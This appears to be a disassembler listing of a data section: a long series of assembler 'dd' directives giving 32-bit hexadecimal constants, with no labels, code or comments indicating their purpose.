		dd 0AD266BE9h, 0D52DE054h, 660C998Ch, 2958F1FCh, 24C31089h
		dd 35ABBE2Dh, 68430175h, 0F6664817h, 30CDA472h,	0E85D8E29h
		dd 772F685Dh, 86D85B6Eh, 26ABD9E9h, 10BB903h, 0DB813B54h
		dd 0BF0D7907h, 68069DC7h, 27695A06h, 896456E0h,	0E995A5F0h
		dd 0B420C58Eh, 0EA8180AAh, 0B15FC828h, 8608D697h, 2F99CAE9h
		dd 8373E577h, 8CF65E81h, 0F84E0CA5h, 44FCBFA3h,	0D7427D89h
		dd 76492518h, 58418F96h, 48F4BD5Ah, 0B83C4AA8h,	452E0B0Eh
		dd 25A8DD0Ch, 825B1708h, 0F2F1527Fh, 40A65A1Eh,	0F799208Bh
		dd 79A577C5h, 565C4168h, 6CB48C54h, 9F5D2A10h, 0BD06EEC4h
		dd 573B4114h, 22320B7Eh, 407770DEh, 2DBED2Bh, 0E9C0694Ch
		dd 6657EED1h, 0A129253Dh, 2463475Dh, 3C02399Ah,	0EAC150D9h
		dd 0B0608582h, 458B1A09h, 89BA11Eh, 702D38F4h, 0E2B2830Fh
		dd 33BE2043h, 14E4460h,	73F90AFh, 3CECCE81h, 0E913FE04h
		dd 959125B2h, 0E46A58C6h, 4167C860h, 0D5C55116h, 2DF41FEBh
		dd 13629679h, 145F0BF4h, 0D0519718h, 857728BAh,	5F897625h
		dd 548BA5CDh, 0AFC5575Bh, 0EA18E984h, 0F181F190h, 5DAF1768h
		dd 0E5C4BC36h, 941E40FAh, 6649A274h, 2ED98F59h,	8909CAFFh
		dd 1F4CDFF7h, 947CCC1Dh, 15453871h, 0EB3EC0DEh,	9D681346h
		dd 249BD59h, 8A21FCE7h,	1062CA02h, 0BDFA89E5h, 134EC0F6h
		dd 0B6FAF884h, 169F4333h, 5DA820ABh, 0C5D5F996h, 0A1F41088h
		dd 2B4741FDh, 74553287h, 1AAB31BAh, 0E6BF00F5h,	0F430E44Bh
		dd 0FE15D646h, 1317249Bh, 53CC97E0h, 501E3E02h,	5AFED838h
		dd 3CC0AC34h, 5A7E6918h, 2934120h, 2F73B2D7h, 2900085h
		dd 4A70E951h, 2D5293BBh, 0B8474EC8h, 17297109h,	9335E11h
		dd 1855195Bh, 8359150Dh, 0F3FA559Bh, 0C1A9E8D5h, 2F2C3858h
		dd 3240C82Dh, 0E92FD5F6h, 4C558BD2h, 68C9F9A7h,	4262EA2Bh
		dd 38805A18h, 70CAFE6Ch, 300E4670h, 5B1C0C5Ch, 0AB4B64BAh
		dd 0DF112E52h, 0B3680B96h, 694D791Eh, 97E5F2D7h, 4627B36Eh
		dd 53CDFE37h, 801702E1h, 95F78022h, 3A28B604h, 4F7E2CF8h
		dd 0C79CD07Ch, 950D5C5Ah, 4DFF71Fh, 9110CA31h, 17C26851h
		dd 0EC4E790Eh, 0C0E9B148h, 5AAF1FBAh, 7700C38Bh, 42C61CEh
		dd 6CA4475Eh, 88244E32h, 0BE2D688Ah, 0CB8D7953h, 5AC4675Ch
		dd 0C3C457EDh, 4B30EEFAh, 9F39937Ah, 0D90332D6h, 0F01E915Bh
		dd 929719E9h, 0E200B781h
		dd 129C6A04h, 3C4A6DFAh, 0D5FB5424h, 5ACFBA02h,	0C262FC10h
		dd 0B536AE9h, 5AE296F7h, 145DF9BEh, 0B563F729h,	8548F5FFh
		dd 0D093E979h, 4E7E41EDh, 9455E3D2h, 0F1B32D3Fh, 1803BC48h
		dd 8B48B544h, 700A113Ch, 706754BFh, 0E09E9AE9h,	6680B500h
		dd 5B45052h, 0C0D4F676h, 73F5C1E4h, 920E3887h, 5019F0FBh
		dd 7233BBBEh, 44D580Dh,	0C193B949h, 3A6D6880h, 0C7C15BA3h
		dd 819216E9h, 1CCF2D36h, 0C97F7526h, 46E6FCE2h,	30B3AB1h
		dd 0C6DF04Eh, 2EE550F7h, 3E1895CCh, 4F0C1A9Ah, 52B22021h
		dd 6E492018h, 0B5F289D4h, 0B887D189h, 1C7F2B88h, 1CC690C9h
		dd 0DCED773Ah, 0AD107043h, 0E9E6E469h, 6E06A425h, 28B42087h
		dd 94E18103h, 52A1E7Dh,	984C6B0Ch, 0A21E803Eh, 640B462Ch
		dd 0F48003E9h, 0C7564916h, 4D035B24h, 0C1D0640Bh, 1E2636E3h
		dd 69136F3Ah, 0CA50BE6Dh, 666C25DFh, 4087B025h,	0DC3868F1h
		dd 3DAF5E1Ch, 54E4BE5h,	30AD12C6h, 0B569801h, 0FB283616h
		dd 3D619104h, 8284BA73h, 0C90177FCh, 2D2C3EE2h,	15B88249h
		dd 7666701Dh, 657D3984h, 0BBED6B0Dh, 38EF75D5h,	0B5050D19h
		dd 0E821F1B1h, 58848FAFh, 39F6843Bh, 5E96BE00h,	44B5287Dh
		dd 48FB4013h, 670022EEh, 3B2D6366h, 27A0CEE2h, 0CC40F9E9h
		dd 700F26BAh, 0D2C1629Ch, 0CFF36A04h, 0BEDF1212h, 0BBF10344h
		dd 49435C0Ah, 9D3D787Fh, 826D48D9h, 0A889942Eh,	458710C4h
		dd 5D5B5A0Bh, 686170F4h, 312B31E4h, 123EF269h, 286C7BE2h
		dd 5928E77Ch, 2B53582Dh, 417B3410h, 68D7FE22h, 0C41E7DBh
		dd 335D61DFh, 3C414E61h, 4C95F32Ah, 534A7677h, 66CF8CFFh
		dd 58764CBh, 5980FBD1h,	251775B9h, 0A0F522EAh, 4B0CC959h
		dd 2B4D4885h, 0C3D61A32h, 2A510F41h, 0D6EF3EDDh, 28597673h
		dd 5506334Dh, 0F04083EAh, 9DBF57CAh, 109417Ch, 9D1D1FAh
		dd 0F244B997h, 29C3F762h, 0D65277F8h, 58018397h, 0C3309A66h
		dd 72999FDEh, 0EEF62072h, 4B81F59Dh, 7BFEFAA5h,	0A9F83921h
		dd 1B98D607h, 0C41F169Dh, 0B3EEA58Fh, 4BF11658h, 88269DA7h
		dd 8CC52D31h, 44F380C0h, 0D4F9B720h, 95946863h,	0E929D8ABh
		dd 20C3B72Dh, 9A3028A7h, 257FB860h, 7FA29BB1h, 5009BAEFh
		dd 36080B5Ah, 988FE4E3h, 0EA936DC4h, 0A74FE1F3h, 213B13D7h
		dd 0C1236DC1h, 15ACEE04h, 20860973h, 5B7E0868h,	23DF2100h
		dd 9B24F0E9h, 169031F8h, 77332987h, 8D092D2Ch, 0C8BF0F80h
		dd 9D262768h, 0F9DA0098h, 7977BEA2h, 55EACBEAh,	0DE3BF6C8h
		dd 9C47E82h, 0E47D3EBDh, 0BD9B012h, 119E6862h, 0E9E23077h
		dd 8DF95ACDh, 5101C134h, 3B408BB7h, 97C0298h, 169CF65h
		dd 2624677Fh, 44EA711Eh, 21B02C1Ch, 46F5B9Fh, 20D65E9h
		dd 7EEA895Fh, 0D30B6F03h, 0EA83139Ch, 92EB2D5h,	0CAF6B8E9h
		dd 0D658DD38h, 5CBB0CC2h, 0DE39C08Bh, 6A5F819Eh, 21A511BDh
		dd 545E17DAh, 0DA89BADEh, 137AF5EDh, 0E684F03Dh, 347C4712h
		dd 945D5FBFh, 0E41D4204h, 0BCD792E7h, 0DDEE4B10h, 0A02F04h
		dd 288A96F8h, 0A4D2D410h, 3BF968A1h, 37B20091h,	1F49E76Fh
		dd 894BE829h, 82E31A0Dh, 20CDDF0Eh, 72D68E1h, 0D62C45C5h
		dd 4EB3A6C8h, 178FA388h, 37EF3DF4h, 0D48449FAh,	6C22EF62h
		dd 0E46AD7BBh, 65085218h, 0D00B6493h, 551EEA3Eh, 0C38E687Ch
		dd 6AB89258h, 68FB6530h, 989F4F66h, 0CE354D62h,	165079ADh
		dd 205835Ah, 99C3BB53h,	0D9F83F38h, 639BCC92h, 22FA687Ah
		dd 984EC7Dh, 28730FDCh,	0D26E504h, 94201CF6h, 80D90B86h
		dd 2FF5CF1h, 0F430E117h, 366D512Ch, 0F5047E96h,	4BE2946Fh
		dd 7FB7B5AFh, 81EE9385h, 0BBB4E884h, 0A64B2697h, 8526887h
		dd 3158A200h, 2926C8C6h, 37C38004h, 0D466F1ABh,	0F8975A66h
		dd 47A4E31Ah, 0C6870207h, 0F1D5C57Bh, 36415AE5h, 0C2317B9Ah
		dd 0C2066EBh, 72094C87h, 0DD3D0781h, 3720EC63h,	36C8D782h
		dd 50E4002h, 0ABED58DAh, 19215429h, 3C4B6DFh, 543798BEh
		dd 899855h, 3BB65C60h, 0E946D6F7h, 4CBF5A27h, 39AF8052h
		dd 0FE68806Dh, 82BD7E5Dh, 0FD530297h, 293573C0h, 0C3615F2Eh
		dd 0ACFFEF03h, 0FD5BE7BFh, 0EDE906A1h, 58307D85h, 1F661E71h
		dd 0D68184CBh, 560573B3h, 140273FAh, 6E7845BFh,	7BE6F533h
		dd 0BD7ED6BDh, 0FB2DE2F4h, 0D7110961h, 7252985Dh, 5E5997E6h
		dd 2D396861h, 9CC1412Ch, 7F50C747h, 0E569016h, 0E3ECCC8Dh
		dd 5294B4C7h, 3E20A2F8h, 0BF8B9090h, 0C25E97D0h, 0BD341DBEh
		dd 4016BE5Eh, 20E81714h, 49E09D1Ch, 5596F4FCh, 0E09D6142h
		dd 42F6A950h, 4D1550FEh, 9BF98D41h, 26741DA7h, 0F5758189h
		dd 0FA093BC4h, 7D56E30Fh, 1C4BDDC6h, 9FB18ABBh,	864FAD40h
		dd 95215F2Fh, 0A2ED94D5h, 818C7C43h, 0EF58AAEEh, 0A4086F73h
		dd 208C2A17h, 70957A13h, 0D3F62E79h, 1FE31720h,	272FDD77h
		dd 428744F9h, 0DE1B3307h, 81430ECBh, 0E070B681h, 1D2B68BEh
		dd 81AAAEE9h, 0CE081A45h, 3D924EA7h, 5AA3A37h, 0BA2DE699h
		dd 7226AB32h, 83F34D01h, 0BF043A50h, 19E097C8h,	31255D1Eh
		dd 2D074273h, 0BBF8EAF5h, 52D4A58h, 20C61A77h, 0A3C22C2h
		dd 4BFC1ED9h, 56502C7Ch, 0DF07F201h, 0D501D383h, 1F828F51h
		dd 5C27E76Fh, 5A094726h, 219ED988h, 0B30FFEF5h,	0E11B4B6Ah
		dd 0A2D84A2Ch, 1DE9BF0Ah, 71E52AC5h, 9550B54Bh,	5868806Bh
		dd 0D6B73270h, 2CDD51EEh, 0E3FFB420h, 290ECBECh, 5DC1E0BAh
		dd 4B480B8h, 66E20816h,	5046660Bh, 1C579586h, 0B74B28Bh
		dd 9BC4C16h, 54F32501h,	3D1D30F0h, 0F5893E40h, 813C0876h
		dd 2552005h, 8302AF11h,	0CBF7A3DEh, 3E8BB965h, 102B70D9h
		dd 0FE5B0780h, 2468CA6Ch, 65180698h, 1B03C255h,	0D6E6A4C9h
		dd 245DEC5Fh, 1382137Dh, 0ABBC53F2h, 372E7B99h,	14BA8461h
		dd 12E1004h, 7A316809h,	81BD5B59h, 8106853Fh, 0D81FBF1h
		dd 58E9CB01h, 0B5906F38h, 5B71B02Ah, 4988C23Ah,	0E6CA78F7h
		dd 0B11B1ECAh, 2E7F0C26h, 564B5530h, 0C0FE94EAh, 76E93BAh
		dd 0D99B7350h, 0C6D0F16h, 30252E13h, 0E54C6AFh,	1EAFE917h
		dd 0A34A52E3h, 99C05B83h, 9D14B674h, 428C58DCh,	0BB8E905h
		dd 0F28031Bh, 250EF0FCh, 2AFCE04Eh, 6F200835h, 0CD6F83Ch
		dd 0E943CF5Fh, 76005E4Bh, 942278BBh, 9A9B856h, 79A66276h
		dd 46097100h, 0C11927FEh, 20608E5h, 78C4FC60h, 9BA0BD5h
		dd 80DD5DEBh, 70EC970h,	5B58CB58h, 0A0246651h, 4009B010h
		dd 0CA585052h, 3DA9CB4Ah, 0E04AD2DEh, 88395317h, 27DA3DEBh
		dd 0C5C6C8BCh, 0FD830F66h, 0D3F42914h, 3A469F79h, 34EBD81h
		dd 0E680C8B6h, 27C6E637h, 0F7FEC029h, 0BE4B9025h, 0CB721602h
		dd 82218442h, 7764564Ah, 0FD256527h, 0E924FB9Eh, 0BF804FEEh
		dd 14B07536h, 0EFC12647h, 0E9D7036Eh, 407B0BB2h, 154E22ECh
		dd 60D3AAEDh, 3359CF97h, 70E968C7h, 0C8CED5F9h,	51880D9Ch
		dd 0FF422D08h, 0DC0DD80h, 7BF37D4Dh, 0B2841CA3h, 0A5890A1Fh
		dd 25456A08h, 68C140F4h, 313E7D28h, 635ED66Fh, 8B87CCC4h
		dd 0DFF9524Fh, 7C606882h, 0BD62CB7Eh, 0A05B05D5h, 7B164F9Ah
		dd 0C2C164D0h, 808496CBh, 0A31A686Dh, 3FBA0256h, 4165DD7Fh
		dd 0C554A0B5h, 0A9A4AC04h, 4A11EC88h, 0EB517426h, 1857BDD8h
		dd 27A633E9h, 4900E6C7h, 68516336h, 243E556Fh, 9E85919h
		dd 88595606h, 0BF29D827h, 5C10C7F0h, 0CF1D7165h, 481BC075h
		dd 315DDE35h, 55286375h
		dd 0E9128B77h, 0B1A2AD7Dh, 260AF15Ah, 531300FBh, 0E3C12D9Bh
		dd 1B682D08h, 0A41CEA31h, 57192723h, 9464294Ah,	0E34D12ABh
		dd 0CED0FB34h, 2720B568h, 770B49C4h, 483AB3F5h,	0E134480h
		dd 0E833BA26h, 0F55FAD68h, 6573758Ch, 0BB2D5FE8h, 51CA7512h
		dd 0A128FF4Ah, 0E9814E6Dh, 852B555h, 3A4169BFh,	578B48F2h
		dd 1656535Eh, 0F25C31E9h, 4E0F5870h, 0C0A310FAh, 6E922422h
		dd 5B26BD38h, 393562BFh, 75218977h, 0E9C2EEF3h,	166858D9h
		dd 60367E68h, 8532C71Ch, 0DBE553Ch, 0CCFE3DD5h,	0E972D03Ah
		dd 6BF5F54Ch, 0C499DCF3h, 0D4AE048Bh, 962CA06h,	7535D723h
		dd 5610E846h, 5372397Bh, 0E24ACC22h, 78995A98h,	0E97D913Fh
		dd 5CE62489h, 58DA5E95h, 0BA801E26h, 0A5651E89h, 6A248B3Eh
		dd 0CF546CDDh, 897045D6h, 0EB395E5Dh, 55C2DEA0h, 1017DC33h
		dd 0E710DA29h, 740C6B08h, 0C1CB4224h, 0C0A08C66h, 0D507694Bh
		dd 0E0CE8149h, 4019FB62h, 0D6A96BDh, 0C60143BAh, 1BC36AC7h
		dd 0C17304C0h, 815E503Fh, 0AE393B87h, 1D130292h, 0BEB5884h
		dd 547E0A92h, 0A9AB7334h, 0BE9B0E9h, 52EC150h, 30492890h
		dd 276174E6h, 6B685B1Eh, 0AED61541h, 0AC1FC404h, 2C4B694h
		dd 77D13331h, 0C7F009E9h, 8724FF05h, 0A2EFC361h, 0D6D1D686h
		dd 43A3EE9h, 0D2554D2Bh, 19E993C1h, 34CAE682h, 0C70140F6h
		dd 1A4AC301h, 8B84FDD1h, 0BF09D7E9h, 0F02CAA31h, 0F9C4796Ch
		dd 3A77AE3Fh, 591CEEE6h, 592C3A85h, 56D20438h, 0DA01BF8Ch
		dd 468642CEh, 7597E3D8h, 0F02C4B51h, 21041C34h,	0DBC1E92Dh
		dd 2F7BC1A7h, 0BADB137Bh, 15192h, 18C17023h, 70BC4270h
		dd 21411769h, 0CE87C0EEh, 7209C456h, 0D60914E9h, 38486999h
		dd 0E8887ADCh, 825B8130h, 0CE3A103Ah, 0CBD87D0Bh, 85B0074Eh
		dd 27240425h, 0BE2B5FE9h, 4B581BCh, 0FEF233h, 7E1E43C2h
		dd 0B649016h, 902E7B9Dh, 0DD852476h, 7AA02AE9h,	3CB92668h
		dd 49B4602Dh, 0E913E788h, 0BB49F220h, 68A2016Fh, 0B77A4F06h
		dd 6CE91259h, 0BBF09A0h, 31A71FD8h, 9C28477h, 76C18BBAh
		dd 1118D4F6h, 47DA6279h, 0D27A30B9h, 5A08D618h,	6EC2314Ah
		dd 48088BC7h, 0C7FD9038h, 0D66850E0h, 0FAFB8D17h, 5A0FFE77h
		dd 1F32A444h, 0DFC0ED05h, 83F89B30h, 0BCEA8880h, 0A8511D7Eh
		dd 93EC2790h, 3849FBC5h, 8228662Ch, 50619602h, 2354197Dh
		dd 0FD5F1728h, 0F5293BBh, 8B0D2CAAh, 0B6E21E4Eh, 0D64BA293h
		dd 2DE444FEh, 0B0AA130Fh, 0DC4E579Ch, 41CDAC8Ch, 4437200Fh
		dd 0B52EBE58h, 0CE13F88Ah, 86CC0859h, 3C68813Eh, 0D1F70263h
		dd 0C309192Ch, 0D40EFD9Ch, 0B2CE4113h, 0E813A32Dh, 0E69129C5h
		dd 0C2E28080h, 418B151h, 98E9CA30h, 78C54024h, 9D0A4239h
		dd 6BCB4B48h, 93545EA9h, 0A7045AF9h, 0B107ED62h, 66CB0302h
		dd 0DF14A633h, 409EB15Eh, 52FBB700h, 8081B607h,	0E63258CEh
		dd 2DE5775h, 0F009731Ch, 5E21785Ah, 3867FCDFh, 4D81DD5h
		dd 12BF5C3Ch, 95E313D2h, 0B8030925h, 3980BBB8h,	0CA0F352Dh
		dd 0EB3F306Eh, 5B68C22Bh, 0FE6805D6h, 0B823406Bh, 7CC57DC7h
		dd 0BF30FCB8h, 6430532Dh, 2D737A33h, 4E465B3Ch,	80C57A20h
		dd 3B413396h, 0CD051AD6h, 0AE41CA3h, 92E942FFh,	0FB982159h
		dd 0A0CA5711h, 0F7458938h, 48ED24Ch, 509F9B63h,	0D3FD90BAh
		dd 0EF4ADDE9h, 99D59C80h, 0BF094EC1h, 0E7806188h, 1EC8D7Bh
		dd 0A5FD92B9h, 1FED5873h, 1221E235h, 5C21495Dh,	0EE234A85h
		dd 0C6FCB28Dh, 24659FE7h, 0BE62D3Eh, 0A66DD59Bh, 0FF8C7584h
		dd 8255EDBFh, 46399F68h, 645358EDh, 720B2204h, 0B6A0EE19h
		dd 73F90BCBh, 0A006649h, 64557B1Ah, 5DA6E913h, 2AAA33EAh
		dd 0C66802DCh, 2C18DF1Fh, 941A2EEBh, 5108B63h, 29BB16DEh
		dd 2AED494Fh, 0AE2A4EE1h, 9821AE12h, 312AC169h,	79F479C4h
		dd 51EB1E29h, 91443A4Ch, 31592DCFh, 368B0420h, 13C0493Ch
		dd 0DA4CA81h, 922D51D6h, 3301E64Fh, 1F5CDC4h, 0D64C96CAh
		dd 0A8896FB9h, 0F9952370h, 0DFF6C262h, 1BDDC0Bh, 68D12EBBh
		dd 0ABE87B82h, 8E39BC12h, 0BDB00051h, 0C728A6B7h, 0BE664A58h
		dd 0A0F93C83h, 926FE9F7h, 0EED6EC37h, 0E5B95AE0h, 89D5EEB2h
		dd 60F9DD94h, 9A92476Ah, 28ABAE84h, 6FEB36E9h, 5E62D9CCh
		dd 0CB023021h, 0A0B3FEEDh, 0E6D294BDh, 0E252A3E3h, 297C6Dh
		dd 1F4A09B8h, 444B3143h, 5C58A688h, 9418D751h, 295A56ECh
		dd 8A68F309h, 46F73867h, 17425A60h, 4BDBE642h, 0AE9766E2h
		dd 949F2743h, 57808C8Fh, 5F4B60E9h, 2B1B539h, 417F5808h
		dd 0F03053E5h, 0F25D821Fh, 0D00ED068h, 5BABF0B4h, 456BD7E0h
		dd 5C2A24BEh, 74C422F3h, 26899199h, 0C26D5471h,	0ED5F197h
		dd 1202B275h, 56D1BAE9h, 810580BDh, 0EFB044F6h,	0F529730Bh
		dd 448525Eh, 750A760Ch,	0B007845Bh, 0C7EC5F96h,	131124Ah
		dd 0F9252E7Eh, 0F6EA2240h, 7E5075D2h, 325527D4h, 1A90E3F2h
		dd 4E827F95h, 754E015Eh, 0E90B00B6h, 5AB1E038h,	47C4BD5Eh
		dd 0FE01D097h, 0A1014E25h, 21CA8C49h, 94FE5F43h, 0F5895095h
		dd 7F0CEA91h, 9FEB497Ch, 7E4B52F6h, 2DB0A8A1h, 0BFDA5B58h
		dd 20B7EAE0h, 10529C30h, 0F9014A1Ch, 3B094583h,	7F681C42h
		dd 0A032D939h, 0B47AFA22h, 457F25E8h, 5BC2C9FAh, 4039D25Fh
		dd 7C04AA44h, 54292239h, 91E2ED12h, 0CFE740Fh, 0C85A5F2Eh
		dd 0AD8B5424h, 6162F72Dh, 99084C53h, 5D02CE7h, 8025107Bh
		dd 0BCA1ED5Bh, 7CE2092Dh, 0BDD2096h, 0D75C6AFAh, 3F6BE0FFh
		dd 6B989520h, 6955DE68h, 3A4BE174h, 0C3AD2F13h,	0F1DE9C2h
		dd 0FFA7E67Ch, 5ACCA18Bh, 0E434EC2Dh, 8AE99747h, 75D76C14h
		dd 0FE55F177h, 0F5B83FE8h, 0C58E644Bh, 1AB1829Dh, 0D760DF0Bh
		dd 601197Ah, 72B9510Bh,	0E9CC320Dh, 89335EEDh, 6196E1A7h
		dd 0D6672EF8h, 77F0DCB3h, 98F87914h, 0B7531F9Ah, 2E26DCB4h
		dd 24413A51h, 2E557B39h, 5011E061h, 0EEF2A095h,	4ACED0EFh
		dd 5097EF4Dh, 74902EF1h, 38BA5200h, 3B211C17h, 32680700h
		dd 81314FB1h, 636D0129h, 8F9D8932h, 35A455F5h, 0E206AF7Bh
		dd 927832Fh, 175768E1h,	0A4FC8FD5h, 41EECC8Eh, 1673EAC6h
		dd 0D9096BE4h, 0C5558406h, 0B892BB12h, 0D8B9A938h, 0EE4F2099h
		dd 2B607490h, 0F4D8051Bh, 21C02FC7h, 0EB5130FFh, 539314B5h
		dd 5F0DFAA9h, 3BCA5926h, 8167084h, 1B2F3B8Bh, 0C1FE02C0h
		dd 6444E490h, 38C09E6h,	61805289h, 61173951h, 4B34D0BDh
		dd 544124Eh, 0ADEDBB5Dh, 4AFA9C5Ah, 28729BEh, 0BE00D2AAh
		dd 7A78618Ch, 0E80F2567h, 0CCF002E4h, 60103669h, 27263733h
		dd 0CE624C69h, 186D655h, 97F8F9C2h, 847332AAh, 0DBB082E9h
		dd 43030A2Dh, 0F763CCh,	22E10F0Ah, 60E5424Ah, 0C6893978h
		dd 4B6DEC2Ah, 43705AAh,	79ECB331h, 107FEB2Ch, 3C6E6885h
		dd 512A9D44h, 4146D4D8h, 94852A43h, 5BAE97BEh, 5FB8AB7Dh
		dd 32EBBA9Eh, 182F9D52h, 910683B4h, 0F198B9B2h,	75EEBDDFh
		dd 140A0C13h, 8403DBDh,	0F770955Fh, 0A17CC009h,	86085D31h
		dd 85F10485h, 0DEA0EAC6h, 9DFB7DE9h, 756EFD69h,	80B16AF7h
		dd 27EBFC3Fh, 0D4DFE2BDh, 0DC026974h, 42D71D87h, 0E3D275F1h
		dd 0FD590A81h, 0FF3E8CBh, 5FE99F48h, 5035ABF8h,	0C8A1EB29h
		dd 482C4230h, 42A2B51Dh, 16AD2160h, 639861EAh, 0E3ED564Eh
		dd 6D17DFDEh, 0C0276CDAh, 0E9CDC654h, 53B063Ch,	0EE17D00Fh
		dd 62AC5ACh, 0D3252C58h
		dd 0F30521FCh, 0C066025Ch, 4E56823Bh, 0BE5F3298h, 84C29DD0h
		dd 60672C1Eh, 0CD0B17D6h, 96A93F65h, 0F157B100h, 6CE28145h
		dd 70447212h, 0CCA7AB0h, 3D674B66h, 4D31E910h, 142C426Ch
		dd 2859016Eh, 0D15966CCh, 483A20E7h, 0F4796D51h, 0BF4F1986h
		dd 9864C7BCh, 0AEE17EAh, 89CF2862h, 995E3E6Eh, 443AE95Bh
		dd 440EE33Eh, 55131CC2h, 0B8AC716Bh, 9BD50741h,	0D5E948E6h
		dd 0C506D442h, 73AFCE00h, 5220E9A6h, 5D37149Dh,	0FB4BA209h
		dd 0BFC5BB8Ah, 351D0401h, 501612F8h, 7BDE2722h,	7DDDA03Eh
		dd 0D5F0864Ch, 0CFA3495Ah, 4F7B94D0h, 0B270FA94h, 504E2EA5h
		dd 0E8F9D96Ah, 215526A2h, 0F2AE08DAh, 0D4BFBE12h, 2EB6BB73h
		dd 0BC4FBB3Bh, 0B846D807h, 4697872h, 0C1E9EAD1h, 8143006Bh
		dd 5A645ACBh, 8C3019Ch,	7C37987Ch, 0FD8F502Bh, 18DE0D18h
		dd 0EACC420Ch, 4B217929h, 98BC905Bh, 0A959436Fh, 23F44E65h
		dd 0BA5B40F6h, 9340D709h, 790CD775h, 81F7890Dh,	33C3C672h
		dd 163068DCh, 0EC0D10B4h, 6808903Bh, 7D25141Ch,	0F62D33E7h
		dd 0F8E96256h, 7E4A58DFh, 0B8779DE8h, 0B7595476h, 0A7F98B0h
		dd 5564D005h, 0D8D56AE9h, 73F30916h, 16EB8C84h,	69FB1857h
		dd 0E41C64ACh, 0DEB9745Bh, 216B33F6h, 9122E350h, 7774B580h
		dd 66E5407Ah, 8F96FEB0h, 0B0D270Ch, 0F077D6Ah, 0C0B70F5Ah
		dd 642B68EFh, 16505D09h, 39165D9Fh, 0C1A86C4Bh,	0F8050BDEh
		dd 7E687418h, 63D9305Eh, 5A402547h, 4EE926F7h, 0B7D2FB51h
		dd 5670FDC6h, 3FCAC1F9h, 0C1D138CDh, 68169438h,	0E050CDE3h
		dd 7B9749B6h, 69EE676Dh, 0ECA97975h, 53495B60h,	65D901ACh
		dd 2D581FC8h, 28940645h, 4C438EBAh, 1E27003Fh, 0E78169FFh
		dd 0F11FF87Ah, 8E26830h, 1F7E0FBh, 0E2BB9435h, 0A6ADB482h
		dd 0BC9DF45Eh, 807B8041h, 0F35B1BBAh, 52F250C0h, 0BD2B6F02h
		dd 0F1808BD4h, 317BAC60h, 28E90D6h, 0BF63D1F6h,	517F893Ch
		dd 58349DEh, 2BA07DA3h,	0D800F740h, 76D5A25h, 0B02054Eh
		dd 1FBBC22h, 817DC5BAh,	53F1688Dh, 3678C54Dh, 8F2F9758h
		dd 41D7288Bh, 0EDCCC15Bh, 0DD283C43h, 0BFDBC53Ah, 0D07A2562h
		dd 0C1382420h, 0E4253F2Ch, 10C5CD00h, 1C7BB179h, 0DB26042Dh
		dd 2DBA4CDh, 32D13C1Ah,	0CDA7E6DFh, 3A191DFCh, 28423E91h
		dd 4928B7Ch, 0AC6959B6h, 137C379h, 0B0E9E039h, 54C18262h
		dd 0BE6861D3h, 5AFB9208h, 403850CCh, 114DE973h,	6E2130ACh
		dd 4D1E181h, 4929C55Fh,	56158053h, 2D6EBD26h, 0A16287B4h
		dd 82A1DEC9h, 0EDB6E908h, 0CC05705h, 4B8A63B2h,	7A0DE12Dh
		dd 31D5CEDh, 4BD45D30h,	46D5F6DFh, 5A507B88h, 7FE2E11Bh
		dd 0AA92DCADh, 0BC50AB3h, 0E4B711E8h, 0D6BD55C0h, 4F4B153Dh
		dd 0D7BA6FC2h, 1F4A75A0h, 0A9F441A7h, 2C3CF163h, 0F6E979Eh
		dd 358864D8h, 5A7B49F7h, 218D82FEh, 0D8F4F062h,	3B60BD1Dh
		dd 2FF8C380h, 0C2597568h, 2F3EB74Dh, 0AED110B0h, 106D5E5Bh
		dd 15BA1C19h, 0BE7D2540h, 7F4B4C79h, 21AA25E8h,	0AB63E87Ch
		dd 0BD2E024Dh, 95B4B62Fh, 1F240FFh, 0AFE79EF7h,	41561841h
		dd 796B54B8h, 0DD0E10B8h, 6A110D01h, 0EC4816DFh, 6E9D3741h
		dd 416F98C7h, 25B29354h, 0A101C8B0h, 0C43F0DB4h, 48C4BDF2h
		dd 2C821689h, 0F8A439EAh, 1397A702h, 618AC1B8h,	8565283Ah
		dd 0BD2EC041h, 685F051Dh, 0BBEC778Eh, 0B033E9C3h, 7CF02925h
		dd 2E3A5941h, 50DA96CAh, 0B2249153h, 0DA4D4C40h, 20C99010h
		dd 567E6029h, 75030C0h,	955A0AF0h, 0BB2EA47Dh, 4ECE5AAEh
		dd 9FC47857h, 0FF9500FAh, 0C2F580ABh, 0F5080B8Ch, 0E2D5A2C2h
		dd 19E6C553h, 2E234E57h, 0DF1A01AAh, 30FB315Bh,	76BFEFADh
		dd 71E88A42h, 8FB094EFh, 3F31D12h, 1043BD78h, 41767BC2h
		dd 37E7CD82h, 0C5C560F1h, 942A2DECh, 8A02C87Eh,	5736026Ch
		dd 0C2E95601h, 0E1E93B41h, 44AF513Ch, 80C00F05h, 90E180DBh
		dd 0A370CEEDh, 0C2BF5160h, 6067161Ah, 82350C28h, 84B846C6h
		dd 2C89519Eh, 541BD71Dh, 2A6AC0CAh, 6C745541h, 4C99960Dh
		dd 0D2512001h, 9BC5383Ch, 62F6EEAFh, 0F1FE7C6Bh, 0C613D5A4h
		dd 4DCF49D0h, 0B0675E13h, 7328AD79h, 74F9A94h, 74BFC400h
		dd 2332D71h, 0CB1AF781h, 895784C4h, 88E45E5Eh, 0E90E4717h
		dd 5D441772h, 5300E11Dh, 0CB8063B3h, 0F32D8273h, 0EB314064h
		dd 3374979Ch, 0C007EC0Fh, 0E1282CC4h, 21D827E9h, 2150FA71h
		dd 0E21C5F4Fh, 0E03D1036h, 5BD3D740h, 8090AD13h, 78685153h
		dd 7AA6034Ch, 7CF18159h, 0CB890F17h, 0E4398C0Bh, 401457Fh
		dd 6AE8AAABh, 842C7BE9h, 0E04212D0h, 0BD09FF52h, 69A4D543h
		dd 555DC3DBh, 14EE7712h, 29711B02h, 880EF6FEh, 0F63E5711h
		dd 4A13F959h, 2B424744h, 550F450Bh, 65673642h, 0D0276AE1h
		dd 4748031Ch, 36175F77h, 0B41910F9h, 5D3C6Eh, 50B3ACB6h
		dd 0E04AC9CBh, 0EBEB98F3h, 5E62E720h, 506B8C31h, 196F7D13h
		dd 563207E8h, 0F20E0292h, 0C2A445BCh, 0F709C98Eh, 3A26AE82h
		dd 0E162FB57h, 7F606168h, 2682E82Dh, 71C863A5h,	735EA57h
		dd 9705E908h, 0B88978F3h, 0BD325075h, 3BCB7E82h, 8EAC6D48h
		dd 31716012h, 0BFFC6716h, 0ABB9F4Ah, 0A85286E9h, 60515A8Eh
		dd 8AD08850h, 3243B54h,	81084435h, 48CAFEA4h, 1C40FFE4h
		dd 6DDED01h, 0C885407Eh, 3115E412h, 4B0FDEB5h, 77407C42h
